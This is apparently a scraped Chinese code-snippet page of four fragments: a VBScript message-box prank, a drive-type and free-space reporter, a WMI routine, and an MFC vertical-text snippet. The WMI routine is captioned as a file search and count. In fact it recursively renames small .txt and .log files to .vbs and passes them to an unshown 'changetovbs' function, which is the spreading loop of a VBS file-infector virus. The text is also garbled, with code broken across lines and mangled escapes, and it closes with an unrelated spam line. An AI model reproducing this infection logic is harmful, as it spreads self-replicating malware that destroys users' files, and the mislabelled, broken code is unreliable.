vas代码
Posted xuaijun
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vas代码相关的知识,希望对你有一定的参考价值。
一、按500次回车 ,退出文件
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
二,vbs判断磁盘类型和检测硬盘剩余空间的实现代码
Function
ShowDriveType(drvpath)
Dim
fso, d, t
Set
fso = CreateObject(
"Scripting.FileSystemObject"
)
Set
d = fso.GetDrive(fso.GetDriveName(drvpath))
Select
Case
d.DriveType
Case
0 t =
"Unknown"
Case
1 t =
"Removable"
‘移动硬盘
Case
2 t =
"Fixed"
‘硬盘
Case
3 t =
"Network"
‘网络硬盘
Case
4 t =
"CD-ROM"
Case
5 t =
"RAM Disk"
‘RAM
End
Select
ShowDriveType =
"Drive "
& d.DriveLetter &
": - "
& t
End
Function
Function
ShowFreeSpace(drvPath)
Dim
fso, d, s
Set
fso = CreateObject(
"Scripting.FileSystemObject"
)
Set
d = fso.GetDrive(fso.GetDriveName(drvPath))
‘d为F:
s =
"Drive "
& UCase(drvPath) &
" - "
s = s & d.VolumeName &
" "
s = s &
"Free Space: "
& FormatNumber(d.FreeSpace/1024, 0)
s = s &
" KBytes"
ShowFreeSpace = s
End
Function
Dim
message
message = ShowDriveType(
"F:ProgrammingApplications"
)
MsgBox message
message = ShowFreeSpace(
"F:ProgrammingApplications"
)
MsgBox message
三。VBS调用WMI遍历搜索硬盘文件并计数的方法
Function
wmisfile(path_sf,justcnt)
‘On Error Resume Next
StrComputer =
"."
Set
ObjWMIService = GetObject(
"winmgmts:\"
& StrComputer &
"
ootcimv2"
)
Set
FileList = objWMIService.ExecQuery _
(
"ASSOCIATORS OF {Win32_Directory.Name=‘"
& path_sf &
"‘} Where "
_
&
"ResultClass = CIM_DataFile"
)
For
Each
objFile
In
FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If
1 < objfile.filesize
And
objfile.filesize <= 50000
Then
Select
Case
ename
Case
"txt"
,
"log"
path_vbs = objfile.drive & objfile.path & objfile.filename &
".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename &
".vbs"
)
Call
changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case
"vbs"
If
checkversion(fname) =
False
Then
Call
changetovbs(fname,fname)
justcnt = justcnt + 1
End
If
End
Select
End
If
Next
Set
colSubfolders = objWMIService.ExecQuery _
(
"Associators of {Win32_Directory.Name=‘"
& path_sf &
"‘} "
_
&
"Where AssocClass = Win32_Subdirectory "
_
&
"ResultRole = PartComponent"
)
For
Each
objFolder
In
colSubfolders
wmisfile objfolder.name,justcnt
Next
End
Function
四。VC中实现文字竖排的简单方法(推荐)
CFont font;
CFont *pOldFont;
font.CreateFont(18, 0, 2700, 2700, FW_NORMAL,
0, 0, 0, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH,
"@宋体"
);
pOldFont=dc.SelectObject(&font)
dc.TextOut(50,50,
"文字竖排"
);
dc.SelectObject(&pOldFont)
/* 何问起 hovertree.com */
以上是关于vas代码的主要内容,如果未能解决你的问题,请参考以下文章
Where to get high-quality VAS 5054A ODIS 3.0.3?